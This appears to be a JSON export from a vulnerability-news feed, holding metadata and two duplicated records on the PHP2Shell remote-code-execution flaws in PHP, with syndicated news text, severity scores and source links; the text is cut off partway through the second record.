{"metadata":{"name":"KEVWire","version":"6.0.0","description":"Source-reviewed editorial records covering exploited vulnerabilities, notable disclosed breaches, and AI security research.","coverageNote":"Selective historical baseline reviewed on 2026-10-26, not complete or live worldwide monitoring. Dates describe cited disclosures, not necessarily incident occurrence. Known exploitation does not establish continuing attacks today, zero-day use, or attacker AI use. This sample is not a denominator for global or AI incident trends.","stacks":["Microsoft Windows","Oracle","Google Chrome","Microsoft Office","WordPress","Adobe","Juniper Networks","Linux kernel","Cisco","Python packages (PyPI)","JavaScript packages (npm)","Microsoft","Android","IBM","Apple iOS and iPadOS",".NET","Python","Progress (MOVEit, Telerik, WS_FTP)","Microsoft SharePoint","Ivanti","F5 BIG-IP","Fortinet","Apple macOS","FreeRDP","Node.js","Java","Apple","D-Link","VMware","Mozilla Firefox and Thunderbird","Arubanetworks","Palo Alto Networks","Citrix NetScaler","Microsoft Exchange","Adobe Commerce and Magento","MySQL and MariaDB","Nginx","SAP","Zimbra","Safari and WebKit","Adobe Acrobat and Reader","Docker and containers","Microsoft Azure","Go modules","Kubernetes","SonicWall","vLLM","Apache","Visual Studio","Craft CMS","Hyper-V","Microsoft SQL Server","QNAP","GitLab","pfSense","Roundcube","AI coding agents","Atlassian","FreeBSD","Samsung mobile","Apache Tomcat","Zyxel","Java packages (Maven)","MCP servers and SDKs","DrayTek","Next.js","Red Hat Enterprise Linux","Dell","Qualcomm chipsets","SolarWinds","Trend Micro","PHP","Eclipse","Netgear","Apache Struts","Arm","Electron","JetBrains TeamCity","LangChain and Langflow","Rust crates","Zoho ManageEngine","Apache HTTP Server","Drupal","OpenSSH","PHP packages (Composer)","PostgreSQL","Redhat","TP-Link","Arista","Getgrav","GNU","LiteLLM","MikroTik","Mitel","Mongodb","Sophos",".NET packages (NuGet)","7-Zip and WinRAR","Grafana","Jenkins","Microsoft Edge","Netty","Openimageio","Pgadmin","Ubiquiti","BeyondTrust","Check Point","ConnectWise","Exim","Fleetdm","N-able","PaperCut","Plex Media Server","Redis","Roocode","WatchGuard","Accellion","Axis","Dani-garcia","Elasticsearch","Fortra","GIGABYTE","Gladinet","Google","JFrog","Joomla","Kentico","Mediawiki","Nagios","Openstack","Pupnp Project","Sangoma","SimpleHelp","Sitecore","Veeam","Apache ActiveMQ","ASUS","CrushFTP","Dassault Systèmes","DotNetNuke (DNN)","Frappe","ImageMagick","Iocoder","Kaseya","Laravel","Meta Platforms","OpenSSL","OSGeo","Paloaltonetworks","Praison","Qlik","Realtek","Ruby on Rails","SaltStack","Siemens","SmarterTools","Sparxsystems","SysAid","Tabby","TeleMessage","Tenda","TrueConf","Veritas","Collabora and Nextcloud","Commvault","HPE Aruba","Ollama","Log4j","Ray","Ruby gems","Schneider Electric"],"technologies":[{"label":"Microsoft Windows","count":644,"curated":true},{"label":"Oracle","count":497,"curated":true},{"label":"Google Chrome","count":460,"curated":true},{"label":"Microsoft Office","count":256,"curated":true},{"label":"WordPress","count":188,"curated":true},{"label":"Adobe","count":159,"curated":true},{"label":"Juniper Networks","count":151,"curated":true},{"label":"Linux kernel","count":139,"curated":true},{"label":"Cisco","count":130,"curated":true},{"label":"Python packages (PyPI)","count":129,"curated":true},{"label":"JavaScript packages (npm)","count":125,"curated":true},{"label":"Microsoft","count":96,"curated":false},{"label":"Android","count":91,"curated":true},{"label":"IBM","count":80,"curated":true},{"label":"Apple iOS and iPadOS","count":77,"curated":true},{"label":".NET","count":59,"curated":true},{"label":"Python","count":55,"curated":true},{"label":"Progress (MOVEit, Telerik, WS_FTP)","count":54,"curated":true},{"label":"Microsoft SharePoint","count":47,"curated":true},{"label":"Ivanti","count":46,"curated":true},{"label":"F5 BIG-IP","count":44,"curated":true},{"label":"Fortinet","count":43,"curated":true},{"label":"Apple macOS","count":41,"curated":true},{"label":"FreeRDP","count":41,"curated":true},{"label":"Node.js","count":41,"curated":true},{"label":"Java","count":40,"curated":true},{"label":"Apple","count":39,"curated":false},{"label":"D-Link","count":38,"curated":true},{"label":"VMware","count":36,"curated":true},{"label":"Mozilla Firefox and Thunderbird","count":31,"curated":true},{"label":"Arubanetworks","count":29,"curated":false},{"label":"Palo Alto Networks","count":29,"curated":true},{"label":"Citrix NetScaler","count":28,"curated":true},{"label":"Microsoft Exchange","count":27,"curated":true},{"label":"Adobe Commerce and Magento","count":26,"curated":true},{"label":"MySQL and MariaDB","count":26,"curated":true},{"label":"Nginx","count":26,"curated":true},{"label":"SAP","count":26,"curated":true},{"label":"Zimbra","count":26,"curated":true},{"label":"Safari and WebKit","count":25,"curated":true},{"label":"Adobe Acrobat and Reader","count":24,"curated":true},{"label":"Docker and containers","count":24,"curated":true},{"label":"Microsoft Azure","count":24,"curated":true},{"label":"Go modules","count":21,"curated":true},{"label":"Kubernetes","count":21,"curated":true},{"label":"SonicWall","count":21,"curated":true},{"label":"vLLM","count":20,"curated":true},{"label":"Apache","count":19,"curated":false},{"label":"Visual Studio","count":19,"curated":true},{"label":"Craft CMS","count":18,"curated":true},{"label":"Hyper-V","count":18,"curated":true},{"label":"Microsoft SQL Server","count":18,"curated":true},{"label":"QNAP","count":18,"curated":true},{"label":"GitLab","count":17,"curated":true},{"label":"pfSense","count":17,"curated":true},{"label":"Roundcube","count":17,"curated":true},{"label":"AI coding agents","count":16,"curated":true},{"label":"Atlassian","count":16,"curated":true},{"label":"FreeBSD","count":16,"curated":true},{"label":"Samsung mobile","count":16,"curated":true},{"label":"Apache Tomcat","count":15,"curated":true},{"label":"Zyxel","count":15,"curated":true},{"label":"Java packages (Maven)","count":14,"curated":true},{"label":"MCP servers and SDKs","count":14,"curated":true},{"label":"DrayTek","count":13,"curated":true},{"label":"Next.js","count":13,"curated":true},{"label":"Red Hat Enterprise Linux","count":13,"curated":true},{"label":"Dell","count":12,"curated":true},{"label":"Qualcomm chipsets","count":12,"curated":true},{"label":"SolarWinds","count":12,"curated":true},{"label":"Trend Micro","count":12,"curated":true},{"label":"PHP","count":11,"curated":true},{"label":"Eclipse","count":10,"curated":false},{"label":"Netgear","count":10,"curated":true},{"label":"Apache Struts","count":9,"curated":true},{"label":"Arm","count":9,"curated":false},{"label":"Electron","count":9,"curated":true},{"label":"JetBrains TeamCity","count":9,"curated":true},{"label":"LangChain and Langflow","count":9,"curated":true},{"label":"Rust crates","count":9,"curated":true},{"label":"Zoho ManageEngine","count":9,"curated":true},{"label":"Apache HTTP Server","count":8,"curated":true},{"label":"Drupal","count":8,"curated":true},{"label":"OpenSSH","count":8,"curated":true},{"label":"PHP packages (Composer)","count":8,"curated":true},{"label":"PostgreSQL","count":8,"curated":true},{"label":"Redhat","count":8,"curated":false},{"label":"TP-Link","count":8,"curated":true},{"label":"Arista","count":7,"curated":true},{"label":"Getgrav","count":7,"curated":false},{"label":"GNU","count":7,"curated":false},{"label":"LiteLLM","count":7,"curated":true},{"label":"MikroTik","count":7,"curated":true},{"label":"Mitel","count":7,"curated":true},{"label":"Mongodb","count":7,"curated":false},{"label":"Sophos","count":7,"curated":true},{"label":".NET packages (NuGet)","count":6,"curated":true},{"label":"7-Zip and WinRAR","count":6,"curated":true},{"label":"Grafana","count":6,"curated":true},{"label":"Jenkins","count":6,"curated":true},{"label":"Microsoft Edge","count":6,"curated":true},{"label":"Netty","count":6,"curated":false},{"label":"Openimageio","count":6,"curated":false},{"label":"Pgadmin","count":6,"curated":false},{"label":"Ubiquiti","count":6,"curated":true},{"label":"BeyondTrust","count":5,"curated":true},{"label":"Check Point","count":5,"curated":true},{"label":"ConnectWise","count":5,"curated":true},{"label":"Exim","count":5,"curated":true},{"label":"Fleetdm","count":5,"curated":false},{"label":"N-able","count":5,"curated":true},{"label":"PaperCut","count":5,"curated":true},{"label":"Plex Media Server","count":5,"curated":true},{"label":"Redis","count":5,"curated":true},{"label":"Roocode","count":5,"curated":false},{"label":"WatchGuard","count":5,"curated":true},{"label":"Accellion","count":4,"curated":false},{"label":"Axis","count":4,"curated":false},{"label":"Dani-garcia","count":4,"curated":false},{"label":"Elasticsearch","count":4,"curated":true},{"label":"Fortra","count":4,"curated":false},{"label":"GIGABYTE","count":4,"curated":false},{"label":"Gladinet","count":4,"curated":false},{"label":"Google","count":4,"curated":false},{"label":"JFrog","count":4,"curated":false},{"label":"Joomla","count":4,"curated":true},{"label":"Kentico","count":4,"curated":false},{"label":"Mediawiki","count":4,"curated":false},{"label":"Nagios","count":4,"curated":false},{"label":"Openstack","count":4,"curated":false},{"label":"Pupnp Project","count":4,"curated":false},{"label":"Sangoma","count":4,"curated":false},{"label":"SimpleHelp","count":4,"curated":false},{"label":"Sitecore","count":4,"curated":false},{"label":"Veeam","count":4,"curated":true},{"label":"Apache ActiveMQ","count":3,"curated":true},{"label":"ASUS","count":3,"curated":false},{"label":"CrushFTP","count":3,"curated":false},{"label":"Dassault Systèmes","count":3,"curated":false},{"label":"DotNetNuke (DNN)","count":3,"curated":false},{"label":"Frappe","count":3,"curated":false},{"label":"ImageMagick","count":3,"curated":false},{"label":"Iocoder","count":3,"curated":false},{"label":"Kaseya","count":3,"curated":false},{"label":"Laravel","count":3,"curated":false},{"label":"Meta Platforms","count":3,"curated":false},{"label":"OpenSSL","count":3,"curated":true},{"label":"OSGeo","count":3,"curated":false},{"label":"Paloaltonetworks","count":3,"curated":false},{"label":"Praison","count":3,"curated":false},{"label":"Qlik","count":3,"curated":false},{"label":"Realtek","count":3,"curated":false},{"label":"Ruby on Rails","count":3,"curated":true},{"label":"SaltStack","count":3,"curated":false},{"label":"Siemens","count":3,"curated":true},{"label":"SmarterTools","count":3,"curated":false},{"label":"Sparxsystems","count":3,"curated":false},{"label":"SysAid","count":3,"curated":false},{"label":"Tabby","count":3,"curated":false},{"label":"TeleMessage","count":3,"curated":false},{"label":"Tenda","count":3,"curated":false},{"label":"TrueConf","count":3,"curated":false},{"label":"Veritas","count":3,"curated":false},{"label":"Collabora and Nextcloud","count":2,"curated":true},{"label":"Commvault","count":2,"curated":true},{"label":"HPE Aruba","count":2,"curated":true},{"label":"Ollama","count":2,"curated":true},{"label":"Log4j","count":1,"curated":true},{"label":"Ray","count":1,"curated":true},{"label":"Ruby gems","count":1,"curated":true},{"label":"Schneider Electric","count":1,"curated":true}]},"selection":{"total":8058,"knownExploitedLast30Days":35,"criticalLast30Days":780,"federalDueWithin7Days":2},"searchNote":null,"items":[{"id":"CVE-2026-109618","cveId":"CVE-2026-109618","aliases":["PHP2Shell","php2shell"],"kind":"vulnerability","title":"PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert","summary":"The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.\n\n Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.\n\n Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.\n\n Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. \n\n The disruption put the National Security Agency and Europe's cybersecurity agency on alert.\n\n State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.\n\n What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery \"one of the most impactful security issues in recent memory.\"\n\n \"To our knowledge, frontier AI found these vulnerabilities before attackers did,\" OpenAI said.\n\n The cybersecurity firm Wiz wrote in a blog post : \"These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history.\"\n\n Read more below. \n\n What is PHP?\n\n You've probably never heard of PHP, even though you've interacted with it for decades.\n\n PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.\n\n It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.\n\n It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. \n\n How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.\n\n What was the PHP vulnera","detail":"The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.\n\n Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.\n\n Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.\n\n Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. \n\n The disruption put the National Security Agency and Europe's cybersecurity agency on alert.\n\n State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.\n\n What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery \"one of the most impactful security issues in recent memory.\"\n\n \"To our knowledge, frontier AI found these vulnerabilities before attackers did,\" OpenAI said.\n\n The cybersecurity firm Wiz wrote in a blog post : \"These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history.\"\n\n Read more below. \n\n What is PHP?\n\n You've probably never heard of PHP, even though you've interacted with it for decades.\n\n PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.\n\n It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.\n\n It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. \n\n How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.\n\n What was the PHP vulnerability, exactly?\n\n AI researchers discovered two critical vulnerabilities in PHP that could allow an attacker to take control of a website's server without having legitimate access to it.\n\n Hackers could exploit the flaws, dubbed \" php2shell \" by cybersecurity firms, to steal information from those websites.\n\n Between the lines: The flaws went undetected for more than a decade because exploiting them required complex technical work that AI helped researchers discover, per Wiz.\n\n Why cybersecurity incidents are a big deal\n\n Thought bubble via Axios' Bradley Olson : The PHP vulnerabilities are so serious that the NSA warned website operators to take their sites down if they didn't have enough time to patch the bug.\n\n But the cybersecurity problems in recent days have extended far beyond that and include disruptions to developer platforms, data leaks on public schools, break-ins at public companies and more.\n\n A major Axios scoop also revealed that banks are detecting unauthorized third-party agent access inside customer accounts, a problem they are racing to contain.\n\n Cyber pros are calling the series of attacks \"Black October\" due to the sheer volume and the level of risk, although so far many organizations have mitigated the risk and avoided massive real-world harm.\n\n While defenders and AI companies have warned for months that a season of cyber emergencies would imminently arrive, they have also been working to secure some of the obscure software that still underpins much of the modern internet ecosystem.\n\n The bottom line: As attacks continue, experts have urged users to secure passwords, use a password manager and also to avoid panic.\n\n As with any cyber emergency, the true barometer of harm is the extent to which damage seeps into the real world, as it has done with ransomware that took hospital software offline or a pipeline system that disrupted fuel supplies briefly on the East Coast.\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-22T18:01:31.000Z","updatedAt":"2026-10-26T10:10:00.140Z","regions":["Japan","Global"],"vendor":"php","product":"php","stacks":["PHP","php"],"knownExploited":true,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109618","asOf":"2026-10-26T10:10:00.140Z"},"epss":{"probability":0.99981,"percentile":0.99981,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109618&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Axios: Black October: why bugs discovered by OpenAI tech are creating a cyber emergency","url":"https://www.axios.com/2026/10/22/php-vulnerability-security-update-websites","type":"reporting","publishedAt":"2026-10-22T18:01:31.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"Axios syndication feed","url":"https://api.axios.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"NVD CVE-2026-109618","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109618","type":"primary","publishedAt":"2026-10-21T14:17:09.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"JPCERT/CC Japan Advisories: Security alert: Multiple vulnerabilities in PHP (CVE-2026-109618, CVE-2026-109619) (updated)","url":"https://www.jpcert.or.jp/at/2026/at260033.html","type":"primary","publishedAt":"2026-10-26T07:25:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"The Hacker News: PHP2Shell Exploit Attempts Hit Millions as Attackers Try to Deploy Mirai Malware","url":"https://thehackernews.com/2026/10/php2shell-exploit-attempts-hit-millions.html","type":"reporting","publishedAt":"2026-10-23T07:40:45.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"The Hacker News: PHP2Shell Exploitation Attempts Continue Amid Suspected N. Korea Global Scanning Activity","url":"https://thehackernews.com/2026/10/php2shell-exploitation-hits-government.html","type":"reporting","publishedAt":"2026-10-25T17:19:46.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News: Someone Tried to Exploit PHP2Shell 4 Days Before the Vulnerabilities Were Publicly Disclosed","url":"https://thehackernews.com/2026/10/someone-tried-to-exploit-php2shell-4.html","type":"reporting","publishedAt":"2026-10-22T06:34:10.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News: PHP Issues Emergency Patches for Two Critical PHP2Shell RCE Flaws as Exploit Attempts Emerge","url":"https://thehackernews.com/2026/10/php-issues-emergency-patches-for-two.html","type":"reporting","publishedAt":"2026-10-21T14:00:00.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News: PHP2Shell: What Actually Protects You Before the 14:00 UTC PHP RCE Patch, and What Doesn't","url":"https://thehackernews.com/2026/10/php2shell-what-actually-protects-you.html","type":"reporting","publishedAt":"2026-10-21T10:36:53.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News: PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert","url":"https://thehackernews.com/2026/10/php2shell-two-unpatched-critical-php.html","type":"reporting","publishedAt":"2026-10-21T09:05:17.000Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"SecurityWeek: Industrial Vendors Check Products for PHP2Shell Vulnerabilities","url":"https://www.securityweek.com/industrial-vendors-check-products-for-php2shell-vulnerabilities/","type":"reporting","publishedAt":"2026-10-26T14:52:14.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"SecurityWeek syndication feed","url":"https://www.securityweek.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"SecurityWeek: PHP2Shell Exploitation Moves From Probes to Working Shells","url":"https://www.securityweek.com/php2shell-exploitation-moves-from-probes-to-working-shells/","type":"reporting","publishedAt":"2026-10-26T13:30:10.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"SecurityWeek: Mirai Botnet Operators Join PHP2Shell Attacks as ASLR Bypass Exploits Emerge","url":"https://www.securityweek.com/mirai-botnet-operators-join-php2shell-attacks-as-aslr-bypass-exploits-emerge/","type":"reporting","publishedAt":"2026-10-23T12:45:52.000Z","checkedAt":"2026-10-26T14:50:56.006Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Record (Recorded Future News): Reports of PHP bug exploitation attempts grow as experts downplay viability of exploits","url":"https://therecord.media/php-php2shell-exploitation-attempts-pocs","type":"reporting","publishedAt":"2026-10-23T04:00:00.000Z","checkedAt":"2026-10-26T14:15:55.780Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Record (Recorded Future News) syndication feed","url":"https://therecord.media/feed","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"WIRED Security: Hackers Exploited the PHP Vulnerabilities Days Before They Were Patched","url":"https://www.wired.com/story/hackers-exploited-the-php-vulnerabilities-days-before-they-were-patched/","type":"reporting","publishedAt":"2026-10-22T02:24:17.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"WIRED Security syndication feed","url":"https://www.wired.com/feed/category/security/latest/rss","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109618&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109618, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109619","cveId":"CVE-2026-109619","aliases":["PHP2Shell","php2shell"],"kind":"vulnerability","title":"PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert","summary":"The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.\n\n Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.\n\n Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.\n\n Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. \n\n The disruption put the National Security Agency and Europe's cybersecurity agency on alert.\n\n State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.\n\n What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery \"one of the most impactful security issues in recent memory.\"\n\n \"To our knowledge, frontier AI found these vulnerabilities before attackers did,\" OpenAI said.\n\n The cybersecurity firm Wiz wrote in a blog post : \"These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history.\"\n\n Read more below. \n\n What is PHP?\n\n You've probably never heard of PHP, even though you've interacted with it for decades.\n\n PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.\n\n It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.\n\n It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. \n\n How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.\n\n What was the PHP vulnera","detail":"The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.\n\n Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.\n\n Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.\n\n Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. \n\n The disruption put the National Security Agency and Europe's cybersecurity agency on alert.\n\n State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.\n\n What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery \"one of the most impactful security issues in recent memory.\"\n\n \"To our knowledge, frontier AI found these vulnerabilities before attackers did,\" OpenAI said.\n\n The cybersecurity firm Wiz wrote in a blog post : \"These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history.\"\n\n Read more below. \n\n What is PHP?\n\n You've probably never heard of PHP, even though you've interacted with it for decades.\n\n PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.\n\n It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.\n\n It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. \n\n How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.\n\n What was the PHP vulnerability, exactly?\n\n AI researchers discovered two critical vulnerabilities in PHP that could allow an attacker to take control of a website's server without having legitimate access to it.\n\n Hackers could exploit the flaws, dubbed \" php2shell \" by cybersecurity firms, to steal information from those websites.\n\n Between the lines: The flaws went undetected for more than a decade because exploiting them required complex technical work that AI helped researchers discover, per Wiz.\n\n Why cybersecurity incidents are a big deal\n\n Thought bubble via Axios' Bradley Olson : The PHP vulnerabilities are so serious that the NSA warned website operators to take their sites down if they didn't have enough time to patch the bug.\n\n But the cybersecurity problems in recent days have extended far beyond that and include disruptions to developer platforms, data leaks on public schools, break-ins at public companies and more.\n\n A major Axios scoop also revealed that banks are detecting unauthorized third-party agent access inside customer accounts, a problem they are racing to contain.\n\n Cyber pros are calling the series of attacks \"Black October\" due to the sheer volume and the level of risk, although so far many organizations have mitigated the risk and avoided massive real-world harm.\n\n While defenders and AI companies have warned for months that a season of cyber emergencies would imminently arrive, they have also been working to secure some of the obscure software that still underpins much of the modern internet ecosystem.\n\n The bottom line: As attacks continue, experts have urged users to secure passwords, use a password manager and also to avoid panic.\n\n As with any cyber emergency, the true barometer of harm is the extent to which damage seeps into the real world, as it has done with ransomware that took hospital software offline or a pipeline system that disrupted fuel supplies briefly on the East Coast.\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-22T18:01:31.000Z","updatedAt":"2026-10-26T10:10:00.140Z","regions":["Japan","Global"],"vendor":"php","product":"php","stacks":["PHP","php"],"knownExploited":true,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109619","asOf":"2026-10-26T10:10:00.140Z"},"epss":{"probability":0.99997,"percentile":0.99989,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109619&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Axios: Black October: why bugs discovered by OpenAI tech are creating a cyber emergency","url":"https://www.axios.com/2026/10/22/php-vulnerability-security-update-websites","type":"reporting","publishedAt":"2026-10-22T18:01:31.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"Axios syndication feed","url":"https://api.axios.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"NVD CVE-2026-109619","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109619","type":"primary","publishedAt":"2026-10-21T14:17:09.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and 